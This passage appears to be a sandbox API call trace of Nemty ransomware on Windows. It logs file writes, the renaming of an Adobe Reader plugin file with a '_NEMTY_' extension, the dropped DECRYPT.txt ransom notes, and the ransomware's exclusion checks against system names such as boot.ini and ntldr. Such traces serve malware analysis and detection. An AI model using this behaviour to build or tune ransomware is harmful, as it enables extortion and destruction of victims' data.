lpDistanceToMoveHigh=0x0) returned 0x0 [0186.895] WriteFile (in: hFile=0x2f0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x13400, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e4dc*=0x13400, lpOverlapped=0x0) returned 1 [0186.895] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0186.895] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=78848, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13400 [0186.895] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0186.895] CloseHandle (hObject=0x2f0) returned 1 [0186.895] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0186.895] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0186.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.896] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0186.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0186.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0186.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0186.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.896] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\PMP\\QRCode.pmp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\acroform\\pmp\\qrcode.pmp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\PMP\\QRCode.pmp._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\acroform\\pmp\\qrcode.pmp._nemty_kgobjgd_")) returned 1 [0186.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0186.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0186.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0186.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0186.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0186.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0186.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0186.896] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2302f910, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x2302f910, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x2302f910, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0186.897] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0186.897] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0186.897] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0186.897] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0186.897] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0186.897] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0186.897] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0186.897] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0186.897] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0186.897] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0186.897] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0186.897] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0186.897] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0186.897] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0186.897] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0186.897] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0186.897] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0186.897] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0186.897] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0186.897] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0186.897] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0186.897] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0186.897] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0186.897] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.897] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0186.897] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.897] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0186.897] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0186.897] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.897] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0186.897] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.897] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0186.898] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0186.898] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0186.898] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0186.898] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.898] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0186.898] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0186.898] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0186.898] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0186.898] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.898] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0186.898] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0186.898] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x4f94310 [0186.898] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0186.898] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.898] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.898] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2302f910, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x2302f910, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x2302f910, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0186.898] FindClose (in: hFindFile=0x3423af0 | out: hFindFile=0x3423af0) returned 1 [0186.898] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0186.898] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63470f0 | out: hHeap=0x4f90000) returned 1 [0186.898] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6347058 | out: hHeap=0x4f90000) returned 1 [0186.898] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x230097b0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x230097b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x230097b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0186.898] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0186.898] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0186.898] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0186.898] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0186.898] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0186.898] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0186.898] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0186.898] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0186.898] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0186.898] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0186.898] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0186.898] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0186.899] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0186.899] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0186.899] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0186.899] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0186.899] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0186.899] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0186.899] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0186.899] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0186.899] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0186.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0186.899] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0186.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.899] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0186.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0186.899] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0186.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.899] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0186.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0186.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0186.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0186.899] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0186.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.899] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0186.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0186.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0186.899] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0186.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.899] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0186.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0186.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x4f94310 [0186.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0186.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.900] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.900] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x230097b0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x230097b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x230097b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0186.900] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0186.900] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0186.900] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0186.900] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0186.900] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8308ce80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xae8a63, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="AcroForm.api", cAlternateFileName="")) returned 1 [0186.900] lstrcmpiW (lpString1="AcroForm.api", lpString2=".") returned 1 [0186.900] lstrcmpiW (lpString1="AcroForm.api", lpString2="..") returned 1 [0186.900] lstrcmpiW (lpString1="AcroForm.api", lpString2="...") returned 1 [0186.900] lstrcmpiW (lpString1="AcroForm.api", lpString2="windows") returned -1 [0186.900] lstrcmpiW (lpString1="AcroForm.api", lpString2="$RECYCLE.BIN") returned 1 [0186.900] lstrcmpiW (lpString1="AcroForm.api", lpString2="rsa") returned -1 [0186.900] lstrcmpiW (lpString1="AcroForm.api", lpString2="NTDETECT.COM") returned -1 [0186.900] lstrcmpiW (lpString1="AcroForm.api", lpString2="ntldr") returned -1 [0186.900] lstrcmpiW (lpString1="AcroForm.api", lpString2="MSDOS.SYS") returned -1 [0186.900] lstrcmpiW (lpString1="AcroForm.api", lpString2="IO.SYS") returned -1 [0186.900] lstrcmpiW (lpString1="AcroForm.api", lpString2="boot.ini") returned -1 [0186.900] lstrcmpiW (lpString1="AcroForm.api", lpString2="boot.ini") returned -1 [0186.900] lstrcmpiW (lpString1="AcroForm.api", lpString2="AUTOEXEC.BAT") returned -1 [0186.900] lstrcmpiW (lpString1="AcroForm.api", lpString2="ntuser.dat") returned -1 [0186.900] lstrcmpiW (lpString1="AcroForm.api", lpString2="desktop.ini") returned -1 [0186.900] lstrcmpiW (lpString1="AcroForm.api", lpString2="CONFIG.SYS") returned -1 [0186.900] lstrcmpiW (lpString1="AcroForm.api", lpString2="RECYCLER") returned -1 [0186.900] lstrcmpiW (lpString1="AcroForm.api", lpString2="BOOTSECT.BAK") returned -1 [0186.900] lstrcmpiW (lpString1="AcroForm.api", lpString2="bootmgr") returned -1 [0186.900] lstrcmpiW (lpString1="AcroForm.api", lpString2="programdata") returned -1 [0186.900] lstrcmpiW (lpString1="AcroForm.api", lpString2="appdata") returned -1 [0186.900] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.900] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroForm.api", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0186.900] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroForm.api", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AcroForm.api", lpUsedDefaultChar=0x0) returned 12 [0186.900] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.901] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroForm.api", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0186.901] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroForm.api", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AcroForm.api", lpUsedDefaultChar=0x0) returned 12 [0186.901] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.901] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.901] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroForm.api", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0186.901] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroForm.api", cchWideChar=12, lpMultiByteStr=0x653ec20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AcroForm.api", lpUsedDefaultChar=0x0) returned 12 [0186.901] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.901] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroForm.api", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0186.901] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroForm.api", cchWideChar=12, lpMultiByteStr=0x653ec58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AcroForm.api", lpUsedDefaultChar=0x0) returned 12 [0186.901] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, 